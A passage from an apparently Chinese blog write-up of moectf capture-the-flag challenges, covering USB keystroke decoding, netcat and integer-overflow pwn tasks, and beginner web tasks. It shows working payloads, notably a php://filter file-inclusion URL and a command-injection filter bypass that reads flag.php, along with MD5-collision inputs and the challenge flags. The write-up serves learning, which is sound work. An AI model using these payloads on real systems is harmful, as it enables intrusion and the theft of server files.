string\"\u003e\u0026#34;\u0026lt;\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan class=\"token keyword\"\u003edef\u003c/span\u003e \u003cspan class=\"token function\"\u003ecode2chr\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003efilepath\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e lines \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e pos \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e \u003cspan class=\"token keyword\"\u003efor\u003c/span\u003e x \u003cspan class=\"token keyword\"\u003ein\u003c/span\u003e \u003cspan class=\"token builtin\"\u003eopen\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003efilepath\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;r\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003ereadlines\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e code \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token builtin\"\u003eint\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ex\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e4\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e6\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e16\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token comment\"\u003e# 即第三个字节\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e code \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token keyword\"\u003econtinue\u003c/span\u003e \u003cspan class=\"token comment\"\u003e# newline or down arrow - move down\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e code \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x51\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eor\u003c/span\u003e code \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x28\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e pos \u003cspan class=\"token operator\"\u003e+=\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u003c/span\u003e \u003cspan class=\"token keyword\"\u003econtinue\u003c/span\u003e \u003cspan class=\"token comment\"\u003e# up arrow - move up\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e code \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x52\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e pos \u003cspan class=\"token operator\"\u003e-=\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u003c/span\u003e \u003cspan class=\"token keyword\"\u003econtinue\u003c/span\u003e \u003cspan class=\"token comment\"\u003e# select the character based on the Shift key\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ewhile\u003c/span\u003e \u003cspan class=\"token builtin\"\u003elen\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003elines\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e pos\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e lines\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eappend\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e code \u003cspan class=\"token keyword\"\u003ein\u003c/span\u003e \u003cspan class=\"token builtin\"\u003erange\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token number\"\u003e4\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e81\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e \u003cspan class=\"token builtin\"\u003eint\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ex\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e2\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e16\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e2\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e code \u003cspan class=\"token keyword\"\u003ein\u003c/span\u003e usb_codes\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e lines\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003epos\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e+=\u003c/span\u003e usb_codes\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003ecode\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e lines\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003epos\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e+=\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;\u0026lt;un\u0026gt;\u0026#34;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e code \u003cspan class=\"token keyword\"\u003ein\u003c/span\u003e usb_codes\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e lines\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003epos\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e+=\u003c/span\u003e usb_codes\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003ecode\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e lines\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003epos\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e+=\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;\u0026lt;un\u0026gt;\u0026#34;\u003c/span\u003e result \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;\u0026#34;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003efor\u003c/span\u003e x \u003cspan class=\"token keyword\"\u003ein\u003c/span\u003e lines\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e result \u003cspan class=\"token operator\"\u003e+=\u003c/span\u003e x \u003cspan class=\"token comment\"\u003e# print(x)\u003c/span\u003e fout \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token builtin\"\u003eopen\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#39;C:\\\\Users\\\\(后面路径省略)\u0026#39;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#39;w\u0026#39;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e fout\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003ewrite\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eresult\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e fout\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eclose\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e __name__ \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;__main__\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e code2chr\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#39;C:\\\\Users\\\\(后面路径省略)\u0026#39;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e得到flag\u003c/p\u003e\u003cdetails\u003e\u003csummary\u003eFlag\u003c/summary\u003e\u003cp\u003e\u003cb\u003emoectf{D@m3daNe_D4me_yoooooo}\u003c/b\u003e\u003c/p\u003e\u003c/details\u003e\u003ch2 id=\"PWN\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/82c9/#PWN\" class=\"headerlink\" title=\"PWN\"\u003e\u003c/a\u003ePWN\u003c/h2\u003e\u003ch3 id=\"02-test-your-nc\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/82c9/#02-test-your-nc\" class=\"headerlink\" title=\"02 test_your_nc\"\u003e\u003c/a\u003e02 test_your_nc\u003c/h3\u003e\u003cp\u003e如题\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003e\u003cspan class=\"token function\"\u003enc\u003c/span\u003e pwn.blackbird.wang \u003cspan class=\"token number\"\u003e9500\u003c/span\u003e\u003cspan class=\"token function\"\u003els\u003c/span\u003e\u003cspan class=\"token function\"\u003ecat\u003c/span\u003e flag\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e得到flag\u003c/p\u003e\u003cdetails\u003e\u003csummary\u003eFlag\u003c/summary\u003e\u003cp\u003e\u003cb\u003emoectf{enjoy_the_netcat_and_the_shell}\u003c/b\u003e\u003c/p\u003e\u003c/details\u003e\u003ch3 id=\"03-Int-overflow\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/82c9/#03-Int-overflow\" class=\"headerlink\" title=\"03 Int_overflow\"\u003e\u003c/a\u003e03 Int_overflow\u003c/h3\u003e\u003cp\u003e试着试着给了个 \u003ccode\u003e-1\u003c/code\u003e ,得到flag\u003c/p\u003e\u003cdetails\u003e\u003csummary\u003eFlag\u003c/summary\u003e\u003cp\u003e\u003cb\u003emoectf{y0ul0v3m3m3l0v3y0u_1nt0v3rfl0w}\u003c/b\u003e\u003c/p\u003e\u003c/details\u003e\u003ch2 id=\"Web\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/82c9/#Web\" class=\"headerlink\" title=\"Web\"\u003e\u003c/a\u003eWeb\u003c/h2\u003e\u003cp\u003e\u003cdel\u003ePHP真实绝绝子\u003c/del\u003e\u003c/p\u003e\u003ch3 id=\"02-Web安全入门指北—GET\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/82c9/#02-Web%E5%AE%89%E5%85%A8%E5%85%A5%E9%97%A8%E6%8C%87%E5%8C%97%E2%80%94GET\" class=\"headerlink\" title=\"02 Web安全入门指北—GET\"\u003e\u003c/a\u003e02 Web安全入门指北—GET\u003c/h3\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003ehttp://47.93.215.154:10000/?moe\u003cspan class=\"token operator\"\u003e=\u003c/span\u003eflag\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cdetails\u003e\u003csummary\u003eFlag\u003c/summary\u003e\u003cp\u003e\u003cb\u003emoectf{We1c0me_t0_CTF_Web!}\u003c/b\u003e\u003c/p\u003e\u003c/details\u003e\u003ch3 id=\"03-Web安全入门指北—POST\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/82c9/#03-Web%E5%AE%89%E5%85%A8%E5%85%A5%E9%97%A8%E6%8C%87%E5%8C%97%E2%80%94POST\" class=\"headerlink\" title=\"03 Web安全入门指北—POST\"\u003e\u003c/a\u003e03 Web安全入门指北—POST\u003c/h3\u003e\u003cp\u003e随便找个在线工具发POST就行\u003c/p\u003e\u003cdetails\u003e\u003csummary\u003eFlag\u003c/summary\u003e\u003cp\u003e\u003cb\u003emoectf{POST_1s_an_1mp0rtant_m3th0d!}\u003c/b\u003e\u003c/p\u003e\u003c/details\u003e\u003ch3 id=\"04-Web安全入门指北—小饼干\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/82c9/#04-Web%E5%AE%89%E5%85%A8%E5%85%A5%E9%97%A8%E6%8C%87%E5%8C%97%E2%80%94%E5%B0%8F%E9%A5%BC%E5%B9%B2\" class=\"headerlink\" title=\"04 Web安全入门指北—小饼干\"\u003e\u003c/a\u003e04 Web安全入门指北—小饼干\u003c/h3\u003e\u003cp\u003e浏览器F12 把cookies里值改成1,刷新\u003c/p\u003e\u003cdetails\u003e\u003csummary\u003eFlag\u003c/summary\u003e\u003cp\u003e\u003cb\u003emoectf{C00kie_1s_sw33t!}\u003c/b\u003e\u003c/p\u003e\u003c/details\u003e\u003ch3 id=\"05-2048\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/82c9/#05-2048\" class=\"headerlink\" title=\"05 2048\"\u003e\u003c/a\u003e05 2048\u003c/h3\u003e\u003cp\u003e审查元素大法好,找到代码\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-javascript\" data-language=\"javascript\"\u003e\u003ccode class=\"language-javascript\"\u003e\u003cspan class=\"token function-variable function\"\u003egetFlag\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e \u003cspan class=\"token keyword\"\u003efunction\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e \u003cspan class=\"token keyword\"\u003evar\u003c/span\u003e req \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"token class-name\"\u003eXMLHttpRequest\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e req\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003e\u003cspan class=\"token function\"\u003eopen\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;GET\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;flag.php?score=\u0026#34;\u003c/span\u003e\u003cspan class=\"token operator\"\u003e+\u003c/span\u003eobj\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003escore\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token boolean\"\u003etrue\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e req\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003e\u003cspan class=\"token function-variable function\"\u003eonload\u003c/span\u003e \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token keyword\"\u003efunction\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e \u003cspan class=\"token function\"\u003ealert\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ethis\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eresponseText\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e req\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003e\u003cspan class=\"token function\"\u003esend\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e打开发现申必数字\u003ccode\u003e50000\u003c/code\u003e\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003ehttp://47.93.215.154:5001/flag.php?score\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e\u003cspan class=\"token number\"\u003e50000\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e获得flag\u003c/p\u003e\u003cdetails\u003e\u003csummary\u003eFlag\u003c/summary\u003e\u003cp\u003e\u003cb\u003emoectf{2048_1s_intere5t1ng!}\u003c/b\u003e\u003c/p\u003e\u003c/details\u003e\u003cp\u003e参考博客\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/CSDNiamcoming/article/details/108837347\"\u003e(6条消息) 总结ctf中 MD5 绕过的一些思路_y0un9er-CSDN博客_ctf md5绕过\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003e\u003cspan class=\"token assign-left variable\"\u003ea\u003c/span\u003e\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2\u003cspan class=\"token assign-left variable\"\u003eb\u003c/span\u003e\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cdetails\u003e\u003csummary\u003eFlag\u003c/summary\u003e\u003cp\u003e\u003cb\u003emoectf{xdsec3gf9dfg62fh342}\u003c/b\u003e\u003c/p\u003e\u003c/details\u003e\u003ch3 id=\"06-ezinclude\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/82c9/#06-ezinclude\" class=\"headerlink\" title=\"06 ezinclude\"\u003e\u003c/a\u003e06 ezinclude\u003c/h3\u003e\u003cp\u003e参考博客\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/vhkjhwbs/article/details/99728785\"\u003ehttps://blog.csdn.net/vhkjhwbs/article/details/99728785\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/qq_42181428/article/details/87090539\"\u003ehttps://blog.csdn.net/qq_42181428/article/details/87090539\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.leavesongs.com/PENETRATION/php-filter-magic.html\"\u003ehttps://www.leavesongs.com/PENETRATION/php-filter-magic.html\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.cnblogs.com/ichunqiu/p/10683379.html\"\u003ehttps://www.cnblogs.com/ichunqiu/p/10683379.html\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003ehttp://47.98.215.112:5000/?file\u003cspan class=\"token operator\"\u003e=\u003c/span\u003ephp://filter/read\u003cspan class=\"token operator\"\u003e=\u003c/span\u003econvert.base64-encode/resource\u003cspan class=\"token operator\"\u003e=\u003c/span\u003eflag.php\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e得到base64字符串,解码\u003c/p\u003e\u003cdetails\u003e\u003csummary\u003eFlag\u003c/summary\u003e\u003cp\u003e\u003cb\u003emoectf{xdsec6asdgas7ahfsfaxczc}\u003c/b\u003e\u003c/p\u003e\u003c/details\u003e\u003ch3 id=\"07-babeRCE\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/82c9/#07-babeRCE\" class=\"headerlink\" title=\"07 babeRCE\"\u003e\u003c/a\u003e07 babeRCE\u003c/h3\u003e\u003cp\u003e参考博客\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/qq_44657899/article/details/107676580\"\u003ehttps://blog.csdn.net/qq_44657899/article/details/107676580\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e挺有意思,试了里面好多法子,最后试出来了然后还得每个字符之间都加\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003ehttp://47.93.215.154:5000/?rce\u003cspan class=\"token operator\"\u003e=\u003c/span\u003et\u003cspan class=\"token variable\"\u003e$@\u003c/span\u003ea\u003cspan class=\"token variable\"\u003e$@\u003c/span\u003ec\u003cspan class=\"token variable\"\u003e${\u003cspan class=\"token environment constant\"\u003eIFS\u003c/span\u003e}\u003c/span\u003ef\u003cspan class=\"token variable\"\u003e$@\u003c/span\u003el\u003cspan class=\"token variable\"\u003e$@\u003c/span\u003ea\u003cspan class=\"token variable\"\u003e$@\u003c/span\u003eg\u003cspan class=\"token variable\"\u003e$@\u003c/span\u003e\u003cspan class=\"token builtin class-name\"\u003e.\u003c/span\u003e\u003cspan class=\"token variable\"\u003e$@\u003c/span\u003ep\u003cspan class=\"token variable\"\u003e$@\u003c/span\u003eh\u003cspan class=\"token variable\"\u003e$@\u003c/span\u003ep\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cdetails\u003e\u003csummary\u003eFlag\u003c/summary\u003e\u003cp\u003e\u003cb\u003eoectf{Do_y0u_l1k3_Rcccccccccccccce?}\u003c/b\u003e\u003c/p\u003e\u003c/details\u003e### 08 Do you know HTTP?\u003cp\u003ephp真是绝绝子\u003c/p\u003e\u003cp\u003e用php+curl,查阅了文档,然后一步一步按题给的要求加东西\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-php\" data-language=\"php\"\u003e\u003ccode class=\"language-php\"\u003e\u003cspan class=\"token php language-php\"\u003e\u003cspan class=\"token delimiter important\"\u003e\u0026lt;?php\u003c/span\u003e\u003cspan class=\"token variable\"\u003e$url\u003c/span\u003e\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e\u003cspan class=\"token string single-quoted-string\"\u003e\u0026#39;http://47.93.215.154:5002\u0026#39;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token variable\"\u003e$ch\u003c/span\u003e\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e\u003cspan class=\"token function\"\u003ecurl_init\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token variable\"\u003e$header\u003c/span\u003e \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token 